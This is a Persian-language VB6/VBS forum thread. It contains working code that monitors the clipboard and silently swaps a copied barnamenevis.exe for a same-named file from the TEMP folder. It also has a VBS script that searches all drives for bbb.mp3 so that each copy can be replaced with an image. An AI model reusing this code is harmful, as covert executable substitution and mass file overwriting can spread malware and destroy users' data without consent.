کلیپ بورد + vb.6

A

arash.arya43

Member
سلام بچه ها:cool:
من يه مشکل که چي بگم چالش دارم اميدوارم به دست شما حل بشه
من ميتونم کليپبورد رو خالي کنم يا توش چيزي بنويسم يا اگه حاوي متن بود اون رو انتقال بدم به تکست باکس .تا اينجاش که خيلي استادم


اما مي خوام کدي بنويسم تو تايمر که اگه کليپبورد حاوي فايل barnamenevis.exe بود از مسير تمپ فايل ديگه اي رو به همين اسم جايگزين کنم.


به msdn هم مراجعه کردم در مورد txt بيشتر صحبت شده.ميشه راهنمايي کنين.مرسي


کلافه شدم


اگه اين نميشه


حد اقل کسي ميتونه بگه اگه با کليک راست يه عکس رو کي کنيم چه طوري از کليپبورد خروجي بگيريم مثلا تو درايو دي سيو کنيم؟نگين با اينا ميشه ----> Clipboard.gatdada,vb cfbtmap
 
the_king

the_king

مدیرکل انجمن
arash.arya43 گفت:
سلام بچه ها:cool:
من يه مشکل که چي بگم چالش دارم اميدوارم به دست شما حل بشه
من ميتونم کليپبورد رو خالي کنم يا توش چيزي بنويسم يا اگه حاوي متن بود اون رو انتقال بدم به تکست باکس .تا اينجاش که خيلي استادم


اما مي خوام کدي بنويسم تو تايمر که اگه کليپبورد حاوي فايل barnamenevis.exe بود از مسير تمپ فايل ديگه اي رو به همين اسم جايگزين کنم.


به msdn هم مراجعه کردم در مورد txt بيشتر صحبت شده.ميشه راهنمايي کنين.مرسي


کلافه شدم


اگه اين نميشه


حد اقل کسي ميتونه بگه اگه با کليک راست يه عکس رو کي کنيم چه طوري از کليپبورد خروجي بگيريم مثلا تو درايو دي سيو کنيم؟نگين با اينا ميشه ----> Clipboard.gatdada,vb cfbtmap
کلیک کنید تا باز شود...

کد: 
Option Explicit

Private Const CF_HDROP = 15

Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_ZEROINIT = &H40
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
 
Private Type POINTAPI
    x As Long
    y As Long
End Type
 
Private Type DROPFILES
    pFiles As Long
    pt As POINTAPI
    fNC As Long
    fWide As Long
End Type
 
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long

Public Function ClipboardPasteFiles(Files() As String) As Long
    Dim hDrop As Long
    Dim nFiles As Long
    Dim i As Long
    Dim desc As String
    Dim filename As String
    Dim pt As POINTAPI
    Const MAX_PATH As Long = 260
    If IsClipboardFormatAvailable(CF_HDROP) Then
        If OpenClipboard(0&) Then
            hDrop = GetClipboardData(CF_HDROP)
            nFiles = DragQueryFile(hDrop, -1&, "", 0)
            ReDim Files(0 To nFiles - 1) As String
            filename = Space(MAX_PATH)
            For i = 0 To nFiles - 1
                Call DragQueryFile(hDrop, i, filename, Len(filename))
                Files(i) = TrimNull(filename)
            Next
            Call CloseClipboard
        End If
        ClipboardPasteFiles = nFiles
    End If
End Function

Private Function TrimNull(ByVal sTmp As String) As String
    Dim nNul As Long
    nNul = InStr(sTmp, vbNullChar)
    Select Case nNul
        Case Is > 1
            TrimNull = Left(sTmp, nNul - 1)
        Case 1
            TrimNull = ""
        Case 0
            TrimNull = Trim(sTmp)
    End Select
End Function
 
Public Function ClipboardCopyFiles(Files() As String) As Boolean
    Dim data As String
    Dim df As DROPFILES
    Dim hGlobal As Long
    Dim lpGlobal As Long
    Dim i As Long
    If OpenClipboard(0&) Then
        Call EmptyClipboard
        For i = LBound(Files) To UBound(Files)
            data = data & Files(i) & vbNullChar
        Next
        data = data & vbNullChar
        hGlobal = GlobalAlloc(GHND, Len(df) + Len(data))
        If hGlobal Then
            lpGlobal = GlobalLock(hGlobal)
            df.pFiles = Len(df)
            Call CopyMem(ByVal lpGlobal, df, Len(df))
            Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data))
            Call GlobalUnlock(hGlobal)
            If SetClipboardData(CF_HDROP, hGlobal) Then
                ClipboardCopyFiles = True
            End If
        End If
        Call CloseClipboard
    End If
End Function
 
Private Sub Timer1_Timer()
[COLOR="#0000FF"]    Dim Files() As String
    Dim temp As String
    Dim i As Integer
    Dim file As String
    Dim changed As Boolean
    temp = Environ("TEMP") + "\barnamenevis.exe"
    If IsClipboardFormatAvailable(CF_HDROP) Then
        ClipboardPasteFiles Files
        For i = 0 To UBound(Files)
            If StrComp(Files(i), temp, vbTextCompare) <> 0 Then
                If InStr(1, Files(i), "barnamenevis.exe", vbTextCompare) > 0 Then
                    Files(i) = temp
                    changed = True
                End If
            End If
        Next
        If changed Then
            ClipboardCopyFiles Files
        End If
    End If[/COLOR]
End Sub

نمونه کد اصلی اینجا هست :

Copy File(s) to clipboard
 
A

arash.arya43

Member
واقعا ممنون از وقتی که گذاشتین .یک اروری می ده دلیلش چیه؟
کدهای اول رو که تو جنرال گذاشتم به اضافه تابع پرایوت .دو تا تابع پابلیک رو هم هر کدوم رو تو یه ماژول .کد تایمر رو هم که تو خودش با اینتروال100

این دفعه کل کدها رو تو جنرال گذاشتم منهای کد تایمر ارور نمیده اما وقتی یه نرمافزار به همون اسمی که گفتم روکپی میکنم و میرم تو یه پوشه دیگه پست کنم که قاعتا باید فایلی که تو پوشه تمپ هست جایگزیین بشه که نمیشه و ست هم انجام نمیشه مثل اینکه clipboard.clear شده باشه
 

پیوست ها

  • Untitled.jpg
    Untitled.jpg
    122.1 کیلوبایت · بازدیدها: 4
  • p.rar
    2.2 کیلوبایت · بازدیدها: 1
آخرین ویرایش:
the_king

the_king

مدیرکل انجمن
arash.arya43 گفت:
واقعا ممنون از وقتی که گذاشتین .یک اروری می ده دلیلش چیه؟
کدهای اول رو که تو جنرال گذاشتم به اضافه تابع پرایوت .دو تا تابع پابلیک رو هم هر کدوم رو تو یه ماژول .کد تایمر رو هم که تو خودش با اینتروال100

این دفعه کل کدها رو تو جنرال گذاشتم منهای کد تایمر ارور نمیده اما وقتی یه نرمافزار به همون اسمی که گفتم روکپی میکنم و میرم تو یه پوشه دیگه پست کنم که قاعتا باید فایلی که تو پوشه تمپ هست جایگزیین بشه که نمیشه و ست هم انجام نمیشه مثل اینکه clipboard.clear شده باشه
کلیک کنید تا باز شود...
کد تابع ClipboardPasteFiles رو در چه ماژول یا فرم ای قرار داده اید؟ هر جا که هست تعریف ساختار POINTAPI و Const ها و Declare هایی که نوشته بودم هم اونجا قبل از شروع کد باشه.
این خطا به این دلیل رخ میده که تابع ClipboardPasteFiles هست ولی تعریف POINTAPI رو پیدا نمی کنه. اینا باید قبل از تعریف کردن توابع ابتدای کد فرم یا ماژول یا کلاس قرار بگیرند :
یا لااقل اگه جایی که توابعی مثل ClipboardPasteFiles هست با جایی که تعاریفی مثل Private Const CF_HDROP هست یکی نیست، Private های تعاریف رو Public کنید.
کد: 
Option Explicit

Private Const CF_HDROP = 15

Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_ZEROINIT = &H40
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
 
Private Type POINTAPI
    x As Long
    y As Long
End Type
 
Private Type DROPFILES
    pFiles As Long
    pt As POINTAPI
    fNC As Long
    fWide As Long
End Type
 
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
.
.
.
 
A

arash.arya43

Member
نمیدونم ازتون چه طوری تشکر کنم .امیدوارم در تمام مراحل زندگی موفق باشین:rose:
 
A

arian17*

New Member
من درگیر یک کد هستم با این شرایط که همه درایوها و زیر پوشه ها رو دنبال فایلی به اسم bbb.mp3 بگرده و هر جا پیدا کرد فایل arosak.jpg رو جایگزینش کنه یا هموه replace کنه فایل arosak.jpg هم کنار کد vbs هست یعنی همون جا که کدمون اجرا میشه
الان کد سرچ رونوشتم البته بگیر نگیر داره بعی وقتها خطا داره اگه امکان داره دوستان کمک کنن کد روبهینه کنم به خصوص کد جایگزینی مشکل دارم.ممنون

PHP: 
Sub SearchFile(path, name)
on error resume next
Set fso = CreateObject("scripting.filesystemobject")
Set folder = fso.getfolder(path)
Set Files = folder.Files
For Each file In Files
If file.name = name Then
MsgBox file.path
Exit Sub
End If
Next
Set subfolders = folder.subfolders
For Each subfolder In subfolders
SearchFile subfolder.path, name
Next
End Sub

sub SearchAllDrives
Set fso = CreateObject("scripting.filesystemobject")
For Each drv In fso.drives
Call SearchFile(drv, "bbb.mp3")
next
end sub

call SearchAllDrives
 
A

arian17*

New Member
اگه میشه کدش رو بزارین من فعلا دارم vbs کار میکنم خیلی طول کشید این کد سرچ رو هم بسازم.اه زحمتی نیست کد vb رو بزارین
 
برای ارسال پاسخ شما باید وارد سیستم شوید.

آخرین مطالب مجیدآنلاین

جدیدترین ارسال ها

بالا